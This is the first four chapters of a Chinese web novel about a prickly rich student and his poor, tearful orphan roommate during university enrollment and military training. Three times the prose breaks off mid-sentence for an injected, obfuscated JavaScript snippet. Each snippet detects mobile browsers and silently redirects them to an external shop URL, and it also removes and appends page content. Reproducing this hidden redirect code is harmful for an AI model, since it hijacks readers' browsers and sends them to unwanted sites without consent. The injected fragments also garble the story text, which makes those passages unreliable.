《笨蛋捞子网恋翻车了!》 1. 坏脾气室友 窗帘缓缓向两侧滑开,光线透过越来越大的缝隙,迅速填满原本漆黑一片的房间。 躺在床上的男人抬起胳膊遮住眼睛,紧绷的嘴角表明他现在心情不悦。 落地窗前零散地躺着五六只空酒瓶,没有杯子,可见是直接对瓶吹的。 宋寒成谨慎地站在打开的门前,以免被这位他吵醒的宿醉好友突然发难。 但等了几分钟都没什么动静,宋寒成走到床边,伸手晃了晃祁莘时。 “该起了,今天是报到的最后一天。” 祁莘时含糊地应了声。 “怎么了这是?喝这么猛?” 宋寒成招手让阿姨进来收拾房间。 祁莘时按了按胀痛的太阳穴,撑着身体坐起来,问:“几点了?” “三点半。” “嗯,”祁莘时下了床,朝卫生间走了两步突然回过头,“刘姨,这事儿不用告诉外婆。” “欸好。” 阿姨利落地收走酒瓶就出去了。 祁莘时冲了个澡,洗漱完出来时宋寒成杵在门外,安慰他道: “你也别太生气了,叔叔被拍也不是第一次了,既然能用钱解决,犯不着动气,你说是吧。” “我知道……” 祁莘时胡乱擦着湿发。 “那这是……阿姨他们两个又吵架了?” “你应该问,他们什么时候不吵。” 祁莘时把毛巾扔进卫生间的衣篓里,转身朝衣帽间走去。 宋寒成尴尬地笑笑,心想这次肯定吵得厉害。 不多时,祁莘时穿着简单的衬衫西裤出来了。 两人一同朝楼下走,宋寒成说:“明天就开始军训了,宿舍的床位留一个?中午时间短,懒得来回跑就在那儿凑活几天,晚上又不住。” “嗯。” 宋寒成扭头瞄了眼祁莘时,“东西都带了吗?别到时候还得再跑一趟。” 祁莘时的脑子乱成了一锅粥,他只想赶紧报完到回来休息。 “带了,婆婆妈妈的。” “行,那就走吧。” - A大第三号食堂的玻璃门前,郁朝希站得笔直,满意地打量着门中映出的自己—— 头发是花了三十块,请Tony帮他剪的,上身是一件崭新的白色衬衫,下摆收进黑色西裤里,脚上是一双百搭的小白鞋。 很好,每一处都符合他严格要求的“简约高级感”。 这审美,杂志没白看! 郁朝希凑近玻璃,用手扒拉了下自己的头发。 他想剪这种发型很久了。 奈何福利院所有孩子都统一理发,他留了十八年的小平头,终于在高考后的暑假才长起来。 郁朝希出生在小县城,是一个从小就被遗弃的孤儿。 听照顾他们的阿姨说,刚开始都以为他是个弱智,因为直到五岁,他都分不清冷热饥饱,还总是呆滞地抬头看天。 至于是什么打破他们这种想法的呢? 郁朝希一年级的数学试卷拿了满分。 这时大家才恍然大悟,他不是弱智,单纯内向而已。 郁朝希就这样内向了十五年,上了高中后,他开始莫名“活泼”了起来。 但一个会被误以为是弱智的孩子的“活泼”,并没“泼”到哪里去。 在同学的眼里,他还是内向得可怕。 郁朝希对此浑然不觉,反倒时常觉得自己热情得有些过分。 他看着玻璃中的自己,再次满意地点点头,随后拿出口袋里的手机,走进食堂觅食去了。 郁朝希是昨天上午到达A市的,他第一时间直奔学校报到,随后就去领被褥和军训服。 学校卖的床垫、褥子和被子不知道在仓库里堆了多久,散发出一股难闻的霉味。 郁朝希当即决定丢进洗衣机里洗一下,床垫不好塞,只能放在太阳下暴晒。 他慢悠悠地从食堂的各个窗口前走过,边闻飘出来的香味边吞口水。 A市是全国最繁华的大都市之一,郁朝希初来乍到,差点被这儿的物价吓晕。 实在是贵得有些离谱。 但是很好吃,轻易就把常年吃大锅饭的郁朝希俘虏了。 水煮鱼、黄焖鸡、麻辣烫…… 郁朝希默默攥紧手机,他每月有1200块的补助,全部拿来吃饭的话,算下来每天40。 其实很多了。 如果他不是在A市读书,又因为吃了一顿水煮鱼,被点燃了猪瘾的话。 总之现在的情况就是,一天四十压根不够吃。 郁朝希又不敢动自己那几千块的存款,所以他迫切地需要找个兼职,用进账填补因贪吃而多出来的花销。 兼职的第一首选是家教,不过郁朝希的表达能力不好,属于那种能解题,但讲不出来的类型。 因此,在高考后的那个暑假里,他家教的工资被砍了不少。 尽管这样,对面的家长还总是一副“亏大了”的表情,郁朝希惴惴不安的,生怕哪天再教着教着“失业”了。 郁朝希暂时先不打算找兼职,因为明天就要开始军训,不仅一站就是好几个小时,还要持续两周。 他的身体素质一般,大概没精力干别的。 不过,郁朝希拿起手机点开一个App,他已经有了一个绝妙的主意,马上就要施行。 十几分钟后,郁朝希端着麻辣烫和刚炸好的炸串,找了一个角落的位置坐下了。 这顿晚饭吃了一天的餐标。 郁朝希长出一口气,按了按心口。 没办法,工作需要。 是的没错,他决定要当一个吃播。 郁朝希拿出一个简易的支架,把自己的手机放了上去,调整完角度后,他迫不及待地拿起了筷子。 “还去宿舍吗?和舍友打个招呼什么的?” 祁莘时一脸的“我很烦”,“有这个必要?” 宋寒成:“都是同学嘛,稍微露个面。” 祁莘时不耐烦地嗯了声。 宿舍在六楼,没电梯。 爬楼爬到一半祁莘时的脸就黑了,宋寒成手里拎着两杯奶茶,当没看见。 家里的佣人在收尾打扫工作,祁莘时的行李已经整理好了。 宿舍是三人间,祁莘时是来得最晚的那个,床位只剩一张不临窗的。 房间内没有另外两名舍友的影子。 跑空了…… 宋寒成“哎呀”一声:“这也太不巧了。” 祁莘时的脸色更沉,“能走了吗?” “走呗,连个人影都没有。” 两人正要转身离开,门口突然挤进来一个左肩抗床垫,右肩抗被褥和被子的人。 郁朝希快累晕了,呼哧呼哧地直喘气。 宋寒成推了推祁莘时,“让让,这不,你室友回……” 他话还没说完,只见这位舍友左脚绊右脚,跌跌撞撞地朝祁莘时扑了过去。 电光石火时,还没转过身的祁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538468|203893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莘时就被那截杵出来的床垫怼了下。 床垫有点硬度,祁莘时的背被撞得一阵钝痛。 压了一整天的怒火彻底抑制不住了,他猛地回过头,声音低沉,音量极大:“你瞎啊?!” 另一边,郁朝希刚被宋寒成扶了一把,堪堪稳住身形,他被吼得哆嗦了下,一时间没反应过来。 宋寒成急忙站出来劝和:“哎别生气,他也不是故意的,没事吧。” 九月初暑热还未散尽,郁朝希扛着这些东西爬了五层楼,两颊热得发红,又被人吼了一通,连带着耳根都烧了起来。 他怯怯地看了眼刚发完火的男人:“对、对不起,我不是故意的……” 视线慢慢落到对面男人的脸上,却见他不耐烦地拧起了眉,一副不好惹的模样。 郁朝希急忙收回目光。 宋寒成热心地接过郁朝希手里的床垫,安慰他两句,又问他睡哪张床。 “谢谢,我睡那儿……” 郁朝希指了指祁莘时对面的那张床,随后遛着边从祁莘时身边经过。 祁莘时则是不动声色地把人上下瞄了一遍。 不知道为什么,他变得更加烦躁了。 或许是因为看见一个大男人不仅眼尾有颗红痣,嘴唇还像涂了什么东西一样红。 哪有人会长成这样? 细胳膊细腿,一点肉全跑脸和屁股上了。 一张圆圆的、钝感十足的脸…… 祁莘时随意一瞄,又看到郁朝希衣领上的刺绣。 呵,还穿假货。 祁莘时低头看了看自己的衣服,发现他们两个——撞衫了。 不仅衣服撞,就连鞋子也是。 不过不出意料的是,这人穿的同样也是假货。 宋寒成帮忙把床垫递了上去,郁朝希感激地向他道谢。 “我们加个联系方式吧,我拉你进宿舍群。”郁朝希说。 “呃,我不住这儿,是他。” 宋寒成指了指祁莘时。 郁朝希找二维码的手顿住了,他小声说:“这样啊……那……” 祁莘时不情愿地把手伸向口袋。 “……那先不用了。” 郁朝希的声音细弱蚊蝇。 祁莘时冷笑一声,冲着宋寒成说:“走了,整个A大就你最热心。” 宋寒成找补道:“要不加一个吧,都是一个宿舍的……” “闭嘴,不用。” 祁莘时扭头就走。 宋寒成指了指桌子上的奶茶,“这个待会你和另一个室友分一下吧。” “他说今天不回来。” 宋寒成笑笑:“那这下你有口福了,别浪费,但也别撑着啊,我先走了。” 郁朝希满脸灿烂地朝宋寒成挥挥手:“再见。” 等人一走,郁朝希连床也顾不上收拾,火速从上铺爬了下来。 他拿起两杯奶茶看了看,一杯是杨枝甘露,另一杯是珍珠奶茶。 郁朝希两杯都插上吸管,奶茶进嘴的瞬间,他像是又打开了一扇新世界的大门。 郁朝希一把拿起杨枝甘露,眼神发直地盯着。 他突然爬到上铺铺好床,又急匆匆地冲进浴室洗澡。 十五分钟后,郁朝希穿着短袖短裤躺在床上,美滋滋地品尝着两杯奶茶。 他在食堂录的吃播视频已经上传了一个多小时了,是时候去看看效果了。 郁朝希自信满满地打开App,果然有好多未读提示。 2. 鹅鹅鹅—— 两人在外面吃了饭,宋寒成识趣地没提换地方玩会儿。 “那我们回去吧,你好好休息休息。” “嗯,”祁莘时喉咙间像卡了鱼刺,上不去下不来的,他说:“有东西忘宿舍了,我回去一趟。” “什么啊?真有你的,一共待了没两分钟,还落东西了?” 祁莘时冷哼:“没待两分钟?那我怎么还被撞了?” 提起这个宋寒成就压不住笑,“不说别的,你那一嗓子真挺吓人的,把你舍友吓得直哆嗦……哎你不是没消气,要回去教训人吧?” “我就这么闲?谁会和一个笨蛋计较……走了。” “嗯,待会儿回去注意安全。” “知道了,”祁莘时瞄了宋寒成一眼,“A大最热心新生。” 宋寒成笑道:“你找抽呢。” 等宋寒成离开后,祁莘时回了学校。 宿舍是智能门锁,他输入密码,握住把手推开门。 刚打开一条缝,祁莘时就听到一阵古怪的声音—— “鹅——鹅——鹅——” 闷闷的,伴随着明显的顿挫感,尾音拖得很长。 祁莘时没关门,抬脚往里走了几步。 他看见某位“不知名”室友正趴在床上痛哭,肩膀一耸一耸的,时不时地抽咽两声。 半分钟后,床上的人抽了张纸巾擤鼻涕,擤完把纸巾丢进床头挂的塑料袋里,再抽一张湿巾擦手。 擦完后,他凑到摆在一旁两杯奶茶前,一杯吸了一口。 奶茶一下肚,“鹅——鹅——鹅——”的哭声再次响起。 围观全程的祁莘时:…… 郁朝希本来打算干吃播挣点饭钱,但万事开头难,他的第一条视频就惨遭夭折。 点赞没两个,评论一长溜。 但都是“批判”他的: ——主播没吃过饭吗?幻视老家的猪啰啰 ——如果我有罪,请让法律来制裁我,而不是让我在饭点刷到这种视频,太倒胃口了…… ——拍得很好,下次别拍了。 ——已收藏,减肥的时候再来看。 ——早饭已吐,赔我早饭钱…… ——想报警…… ………… ………… 郁朝希本就脆弱的自尊心被击得粉碎。 恶语伤人心,他立马就删了视频,发誓以后绝对不再拍了。 网上的人说话真难听…… 他觉得自己拍得很好,很有食欲! 郁朝希一边因为那些评论痛哭,一边为了饭钱发愁。 明天要就军训了,他身体不太好,累死累活地在大太阳底下站一天,不生病都算他烧高香了,哪还有功夫干兼职? 评论区还说他像猪…… 郁朝希带着耳机,再欢快的音乐都无法弥补他内心受到的伤害,奶茶也不行。 他吸了吸鼻子,喝了两口奶茶,继续“鹅鹅鹅”哭了起来。 鼻子很痛,但郁朝希还是要哭,他哭得一抽一抽的,温热的眼泪顺着脸颊滑落…… 祁莘时默默围观了五分钟,这个笨蛋都没发现有人进来了,他朝这人趴着的床铺走去,问: “哭什么?” 没有回应,祁莘时看见他耳朵里塞着耳机。 祁莘时无语地叹了口气。 郁朝希沉浸在悲伤的氛围中无法自拔,泪水一刻不停地流,很快,他的眼睛也微痛了。 他伸手揉了揉,正要去补充糖分时,一只手握住了他的小臂。 “啊!” 郁朝希噌地从床上弹起来,后背紧贴着墙壁,心脏“咚咚——咚咚”地乱蹦。 他一把扯下耳机,冲杵在下面的祁莘时喊:“你干什么?吓死人了!” “叫什么叫?我刚才和你打招呼了,你没听见。” 祁莘时微微抬着头。 他看到床上的人鼻翼翕动了两下,眼睛通红,蒙着一层水光,浓密的睫毛被泪水沾湿,鼻头脸颊泛出一种浅粉色。 像兑了太多水的草莓酱…… 祁莘时的目光下移,落在郁朝希的睡衣上。 天蓝色、图案的种类很多,白鲸、水母、贝壳、小丑鱼…… 像在睡衣上开了个海洋馆。 幼稚。 郁朝希捂着脸揉了两把,太丢脸了,他以为这个人和刘佑齐一样,都是本地的,晚上不会在宿舍住。 没想到…… 太丢人了…… 不过这没什么,正常人看到有人哭,一般都会避开这个话题。 郁朝希以为祁莘时也会这样,但—— “哭什么?” 郁朝希把脸捂得更紧了,真是一个没情商的家伙! “……想家了,”郁朝希磨蹭着把手拿下来,犹豫着问:“……你家不是本地的?” “是。” “那你晚上还在宿舍住吗?”郁朝希指了指另一张床,“他叫刘佑齐,他也是本地的,他说他平时不住宿舍。” 祁莘时在这个笨蛋的眼睛里看到了期盼,一种渴望独占整间宿舍的期盼。 但祁莘时偏偏不让他如愿。 “今天不住,我回来拿东西。” “哦,”郁朝希点了点头,“……那以后呢?” “管得真宽,我交了宿舍费,想住就住。” 郁朝希撇了撇嘴:“哦。” 祁莘时拿出手机,问道:“明天在哪儿集合?” 郁朝希捧着杨枝甘露,咬着吸管喝了一口,闻言无语了: “大哥,报到时没给你发通知单吗,上面有群号。” 祁莘时:“单子丢了。” 怎么没把你自己弄丢,郁朝希偷偷吐槽。 “你拉我进群。” “哦,”郁朝希拿起手机,把Q群的二维码亮给祁莘时:“就是这个。” 祁莘时扫了码,自动通过入群申请。 郁朝希把手机往床上一扔,没有要和他攀谈的打算。 祁莘时主动做了自我介绍——其实就是说了自己的名字。 眼睛不舒服,郁朝希边揉边说:“郁朝希。” 两人看起来都没有互换联系方式的想法。 宿舍的布局是上床下桌,三张床贴墙放,另一边摆了三个衣柜。 佣人只带了一些基本日常用品,还都放到了卫生间,祁莘时的桌子上只摆了一个台灯。 他像傻子一样坐在椅子上滑了一会儿手机,找到群聊成员里的刘佑齐加了好友。 好友申请一秒通过,祁莘时敲字做介绍,又问他有没有宿舍群,拉他一下。 上铺的郁朝希带着耳机,寻摸着在手机上找兼职。 Q突然弹了一条消息,他点进去一看,是昨天拉的宿舍群进了新成员。 郁朝希扒着床边的护栏往下瞄了眼,发现那个喇叭哥还没走,正悠哉悠哉地玩手机。 这人说话声音太大,郁朝希不喜欢他。 兼职的事还没着落,郁朝希唉声叹气地摘下耳机,脸颊上的眼泪已经干了,紧绷着不太舒服。 他踩着爬梯下床,打算去卫生间洗把脸。 祁莘时侧过脸,瞄了一眼郁朝希。 这人的脚腕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538469|203893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也细,好像全身就没几两肉。 他突然皱了下眉,因为郁朝希长度不及膝盖的睡裤。 太短了,只到大腿中部…… 郁朝希穿上拖鞋,在经过祁莘时的那一瞬间,脑子不受控制的抽了下,他问: “你怎么还不走?” 漫不经心看资讯的祁莘时手指一顿,停下了滑动屏幕的动作。 他扭过头盯着郁朝希,面无表情,眼睛微微眯着,“你说什么?再说一遍。” 郁朝希被那双锐利的眼泪刺了一下,他也不知道自己为什么要多嘴问这一句。 刚刚流出来的眼睛好像都灌进脑子里了一样。 郁朝希窝窝囊囊地低下头,“……我的意思是,你太晚走的话,不、不太安全。” 祁莘时冷哼一声,“你少管闲事。” 什么人啊,他明明是关心同学、关心室友。 郁朝希抿抿嘴,沉闷地“哦”了一声。 祁莘时盯着这人的背影,上下打量着。 睡衣宽松得可以装下两个他,整个人看起来空荡荡的,被风一吹就能倒地上,哭起来像鹅叫…… 祁莘时脑海中闪过郁朝希低眉顺眼的模样,脸色登时变得更沉。 没一点让他满意的…… 郁朝希看着镜子里的自己,尴尬得脚趾扣地。 眼睛红得像兔子眼,还肿了起来,鼻子也是,两颊跟猴屁股一样…… 早知道就出去找个没人的地方哭了…… 郁朝希捧着水向脸上泼,重点给眼睛降降温。 两分钟后,郁朝希抹了抹脸上的水,从卫生间出来了。 毛巾晾在半开的铁皮橱子上,他扯下来擦干净脸,坐在桌前涂面霜。 他的桌面更干净,连盏台灯都没有。 大罐面霜被郁朝希放在抽屉里,他拧开盖子,挖出一点抹在两颊,连着眼部的皮肤也带上。 作为一个不怎么精致的青年,郁朝希的生活用品走极简道路,只有牙膏牙刷、洗发水沐浴露和面霜。 面霜一年四季都用同一款,夏天少涂点,冬天就多抹两层。 从小到大都是这么过来的,他的皮肤也没告过急,可见是很理解他这个主人了。 军训的时间长达两周,郁朝希为了省钱,本来没打算买防晒霜。 可昨天到达A市后,了解完这儿的物价,他发现一两天的饭钱就能买一瓶防晒力度还不错的防晒霜。 于是立马紧急下单,商品终于在今天上午发货了。 大约后天下午能到。 希望他不要被晒成一个黑蛋。 郁朝希三两下把面霜涂开,偷偷瞄了眼一旁的男人。 这人竟然还没有离开的打算。 怎么还不走? 郁朝希默默爬上.上铺,边喝奶茶边找兼职。 半小时后,郁朝希摘下耳机,往下一看人还在。 他探着头,说:“……那个,你走的时候叫我一声,我把门反锁上。” 祁莘时仰头瞥了他一眼,冷冷地嗯了声。 郁朝希靠了回去,继续在手机上刷兼职。 刷来刷去还是干家教最合适,时薪也很可观。 要不要试试? 郁朝希开始蠢蠢欲动。 但是…… 他点开十分钟前的联系人验证申请: 花开富贵:退钱!你给我儿子补的那是什么课,越补越倒退,本来倒数第八,开学小测成倒数第二了! 郁朝希心虚地蹭了蹭鼻子,他觉得自己非常尽职尽责啊…… 倒数第二也不至于吧。 3. 事儿哥室友 钱是不可能退的。 退钱和要郁朝希的命有什么区别。 本来价格就够低了,郁朝希每天还会多赠送半小时,他也努力地好好教了啊。 是那个小孩自己学不会,不能怪他…… 郁朝希默默地想:这就是传说中的便宜没好货…… 他滚倒在床上,刚破土发芽的自信心瞬间蔫了。 郁朝希长长地叹了口气,他多希望天上下钱砸中他。 二十几分钟后,郁朝希仍没从这种悲伤的情绪中脱离出来。 他的床忽然被人敲了两下:“啷——啷——” “下来锁门。”祁莘时说。 郁朝希一骨碌从床上爬起来,飞快下了床,“噔”地一声跳到地板上。 行动非常迫切,心情非常愉悦。 祁莘时无语地翻了个白眼。 这个笨蛋跟在他身后,他刚一出门,身后就传来关门和反锁声。 又笨又爱哭,小气又记仇。 祁莘时扭头看了眼宿舍门,黑着脸走了。 郁朝希蹦蹦跳跳地上了床,把剩下的两杯奶茶收了底,然后刷了牙继续找兼职。 他一直找到晚上十点半。 是时候该睡觉了,但他毫无睡意。 郁朝希叹了口气,心想,愁得都失眠了。 他下床关了灯,躺在床上呆呆地盯着天花板。 军训七点集合,郁朝希定了六点二十的闹钟,他检查了一遍,把手机往枕头边一放,开始数绵羊: “一只绵羊、两只绵羊、三只绵羊、四只绵羊……六百四十四只绵羊、六百四十五只绵羊、六百……哎,六百多少来着?” 郁朝希自言自语:“那从六百开始数……” 他哀嚎一声,拿过手机看了眼时间:23:46。 好晚,明天六点多就要起床了! 但他睡不着…… 郁朝希用双臂环住自己,拍了拍说:“其实经济情况没那么糟糕,只要你管住嘴,一千两百块绝对饿不死人的……” 说到吃,郁朝希不自觉地吞了吞口水。 是的,问题就出现在这儿,他压根管不住嘴。 从小没吃过美食的后遗症来了,他开始报复性的嘴馋,非常渴望疯狂尝试周边的各种食物。 但是吃好吃的太费钱了…… 怪不得吃能和“吃喝嫖赌”并列在一起。 郁朝希翻了个身,把自己扭成麻花。 算了快睡吧。 军训太辛苦,郁朝希已经给自己制定好了早餐食谱: 两个鸡蛋+两个酱肉包+一个土豆丝煎饼+一杯豆浆。 一小时后,时间来到凌晨。 郁朝希还没睡着。 他的眼睛酸痛难忍,但精神仍十分亢奋。 郁朝希隐隐有些崩溃,一个没忍住就想痛哭。 他最擅长的就是哭泣不出声,除了擦鼻涕要发出点声音外,他可以一声都不吭。 虽然宿舍里只有他一个人,但现在是深夜,大哭影响到其他同学就不好了。 所以他开始了“无声哭泣”。 - 翌日六点二十,闹钟准时响起。 郁朝希刚清醒就发现自己的眼睛有点痛,还睁不开。 八成肿了。 他关掉闹钟,慢慢地从床上爬起来。 还好头不晕。 郁朝希不记得自己什么时候睡着的,好像是哭着哭着就睡过去了。 他趿拉着拖鞋走进卫生间,贴着镜子观察了两分钟后得出一个结论: 眼睛是肿了,但不仔细看根本看不出来。 他松了口气,挤上牙膏开始刷牙。 军训服有四样:帽子、外套、短袖和长裤。 郁朝希换上后发现外套的领子不够高,还是能晒到脖子。 他打开手机翻物流信息,一串:“商品预计明天到达”狠狠伤了他的心。 郁朝希安慰自己:没事的,就晒两天而已,捂一捂就白回来了。 他把手机揣进口袋,拎上水杯下楼去食堂吃早饭。 一想到吃,郁朝希的心情就莫名愉悦了起来。 他按照食谱买了饭,花费十二元。 时间还早,郁朝希悠哉悠哉地吃完饭,散步似的朝集合地点走去。 - “呐给你,涂点吧,军训要晒一天,这大太阳可不是闹着玩的。” 宋寒成递给祁莘时一瓶防晒。 “拿开,不涂。” “你看你这人,我还能害你吗?上午、下午各涂一次就行了,中间又不用补涂,还不好意思起来了。” 祁莘时嫌弃地看着宋寒成手里的防晒,固执地摇了摇头。 宋寒成只能收了回来,“哎呀,脸长得好就是有资本,晒黑了也是帅哥,不像我们……” 祁莘时听得心烦,无情打断好友:“闭嘴吧,吵死了。” 十分钟后,两人抵达学校。 祁莘时到集合点时,郁朝希已经和刘佑齐站在一起了。 某人本来长得就不高,撑死175,还非要往大高个身边凑,硬把自己凑成了一颗孱弱的豆芽菜。 祁莘时不怎么情愿地朝两人走去:“祁莘时。” 刘佑齐长得老实巴交的,人也闷,“刘佑齐。” 怎么跟报菜名一样,郁朝希无语了:“郁朝希。” 简短的自我介绍后,三人变成了闷嘴葫芦,齐刷刷地杵在地砖上一动不动。 在场的三人没谁感到尴尬。 祁莘时.时不时地撇两眼郁朝希,然后他就发现这人眼下有乌青。 他心想,有这么想家吗? 于是在他心里,郁朝希的缺点又多了一条。 而郁朝希,这个在上学时差点被人当成自闭症的人,本来就不擅长和人攀谈。 至于刘佑齐,他正在回想自己昨晚开的最后一盘游戏…… 好在这种局面并没持续多久。 助教先是点了名,然后按照每个人的身高,大概排了一下站位。 随后就带队去广场了。 祁莘时运气不好,豆芽菜站在他左前方。 豆芽菜的天要塌了。 军训对郁朝希来说就是噩梦,初中军训了三天,高中一周,大学竟然要两周。 因为最近一次军训是三年前,这让郁朝希放松了警惕。 但当往太阳底下一站,开始练军姿时,他什么都想起来了! 初中的三天军训是在树荫下度过的,而高中的那一周军训,上午有树挡太阳,就晒一下午。 而郁朝希正在经历的大学军训,就是纯晒。 他很快就被晒蔫了,还越晒越困。 但他不能睡过去,太丢人了…… 硬生生熬了四十分钟后,终于可以休息。 郁朝希灌了小半杯水,和他的两名室友坐在石阶上。 三人实在没什么共同语言,一致的沉默不语。 第二场休息时,郁朝希被晒得有点脸热,举着手机看自己有没有被晒伤。 但阳光太刺眼,他什么也看不清。 应该没事,他的防晒什么时候才能到啊? 郁朝希搓了搓脸,问看起来好说话一点的刘佑齐: “你涂防晒了吗?” 刘佑齐摇摇头。 “哦。” 郁朝希不说话了,过了一会儿他又问:“为什么不涂,你不怕被晒伤吗?” “不怕,晒就晒呗。”刘佑齐无所谓地说。 他看了看郁朝希,突然又道:“但是……你的脸好像有点红。” “啊?”郁朝希像是听到了天大的坏事,“很红吗?” 刘佑齐:“还好,不是特别红。” “这还不红?”祁莘时瞥了眼郁朝希,“都快赶上猴屁股了。” 郁朝希担心地摸了摸自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538470|203893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的脸。 作为“最爱自己的第一人”,郁朝希非常惜命,任何损害身体的行为在他这儿都是不允许的。 他惶惶然脱下外套,披在自己头顶上,默默自闭去了。 几分钟后哨声响起,下一轮训练又开始了。 军训十一点半结束。 刚一解散,郁朝希的两名室友就都不见了身影。 他顶着军训外套朝食堂走,心想:这两个人当饭搭子都不合格。 祁莘时和宋寒成隔了两个连,他站在一旁等了会儿,宋寒成才匆匆赶来。 “走吧,去外面吃,包厢都订好了。” “嗯。” 祁莘时把帽檐往下压了压。 看这样子,宋寒成就知道他又不爽了。 “又怎么了?成天黑着个脸。” “你闲得没事干了?总观察我干什么?” 军绿色的军训服乌泱乌泱的,但某人总是与众不同,非要顶那个外套。 祁莘时没忍住冷笑了一声。 “我这叫细心,关心朋友。” 宋寒成瞄了一样祁莘时的脸,说:“你等着吧,不听我的涂防晒,指定要晒黑,军训两周呢。” “闭嘴。” 食堂人太多,又吵又挤的,郁朝希打包了一份两荤一素的炒菜,决定回宿舍吃。 空调是半夜关的。 郁朝希合上阳台的窗户,把空调打到二十度。 炒菜也好吃,比大锅饭好多了。 但是还差点味道。 他边吃边找了一个教资面试的视频,希望以此培养一下自己的教课能力。 二十分钟后,郁朝希把打包盒收起来放在宿舍门外,随后走进卫生间看自己的脸。 是晒的有点红,不过好在没晒破皮。 撑到明天结束不是问题。 郁朝希洗了把脸,正坐在桌前涂面霜时,他的室友之一回来了。 祁莘时前脚刚进门,后脚就紧紧皱起了眉。 因为空气中弥漫着一股饭菜的油腻味。 而嫌疑人再明确不过。 他冷着脸杵在郁朝希身后,“你在宿舍吃饭了?” 郁朝希脸上白色的面霜还没抹开,闻言他扭过头,嗯了声。 显然没把在宿舍吃饭当成什么大事。 祁莘时一把推开阳台的门窗,“臭死了,以后不准在宿舍吃这种东西。” 九月初的正午日头毒辣,他们的宿舍又在顶楼。 祁莘时甫一开门,郁朝希都能感受到扑进来的热浪。 他有种凉气马上要跑光的预感。 郁朝希噌的一下站了起来,“你干什么?谁家开空调了还开门窗?” 他说着就要绕过祁莘时去关门。 但下一刻,一只大手牢牢抓住了他的肩头,然后—— 他就动不了了…… “给我老实点,不通风这房间还能待吗?” 被这样轻易地钳制住后,郁朝希瞬间就冷静了。 他抬头看了看脸色不太好的祁莘时,发现这人比他高了大半个头,力气还这么大…… 刚窜起来怒火被“次啦”一声浇灭了,他窝囊地点了点头:“……是啊,要是不通风,这房间根本没办法待……” 祁莘时盯着郁朝希垂着的眼睛,凑近了说:“还有,以后别在宿舍吃这种东西,我的被子都沾上恶心的味了。” 郁朝希低眉顺眼地点了点头。 祁莘时的目光下移,在郁朝希脸上发现了不明的白色膏状体。 偏偏两颊还泛着粉…… 郁朝希弱弱地抬起手,戳了戳祁莘时的手背:“那……能放开我了吗?哎!你抓死我了!” 祁莘时猛地撒开手,转而开始教训郁朝希:“乱摸什么?你看看你……” 他指了指郁朝希的脸:“像什么样?” 郁朝希急忙一把撸起短袖,发现肩部都被抓红了! 4. 真没法过了 作为最爱惜自己身体的第一人,郁朝希不允许任何伤害他健康的行为,当即大喊大叫起来: “你使那么大劲儿干什么?都抓红了!” 祁莘时狐疑地瞄了眼郁朝希的右肩,他压根没使劲,也没看出来哪儿被抓红了。 他怀疑这个笨蛋想碰瓷。 祁莘时指了指郁朝希的眼睛,“你这两个灯泡放风用的?哪儿红了?” 郁朝希耸着肩膀,“就是这儿啊,你近视眼吧。” “谁近视?我5.2。” 郁朝希无语地瞪了他一眼,点了点肩头的一小块皮肤,“别想耍赖,都还有手指印。” 祁莘时低头看了眼—— 好像是有一点红。 但那指印淡得马上就要消失,如果不是郁朝希肤色太白,连这一点也捕捉不到。 “你看,就是这儿,”郁朝希十分的义愤填膺,指责祁莘时道:“下手真狠,我的骨头都被你捏疼了。” 祁莘时:…… “真以为自己是豆腐做的?小姐身子丫鬟命,”祁莘时瞟了眼郁朝希被晒红的脸,说:“矫情。” 郁朝希一把将袖子扯下来,这日子没法过了,他怎么这么倒霉,分到了一个龟毛室友。 别的宿舍都能在房间里吃饭,就祁莘时事儿多得要命,死活不让。 郁朝希憋屈地扁了扁嘴,迫于这人强健的体魄,他只好大人有大量,委屈自己一下了。 昨晚没休息好,吃饱了又犯困,郁朝希打算立刻上床休息。 他刚抓住扶梯,就听祁莘时“啧”了一声。 很嫌弃的语气。 又怎么了大少爷,郁朝希的脑海中自动浮现出这句话。 一只手伸了过来,在他脸颊上一点。 祁莘时的手指修长而骨节匀称,指腹上沾着一点白色的面霜。 郁朝希的眼神定在这根手指上,他听见祁莘时说:“丢三落四的,脸上这些乱七八糟的东西也不抹匀。” “还不是你突然把阳台的门打开。” 郁朝希说着抬手涂起了面霜。 祁莘时瞥了眼手指,心想,真软。 随即,他把沾到的面霜抹在郁朝希的手背上。 郁朝希的床位挨着窗,虽然已经进了九月,但还要热将近三个周。 朝阳的顶楼就像一个放在火上烤的蒸笼,加上空调没开多久,房间本来就没完全凉透,这才刚通了没几分钟的风,凉气就跑光了。 郁朝希虽然不是“小姐身子丫鬟命”,但既怕热又怕冷倒是真的。 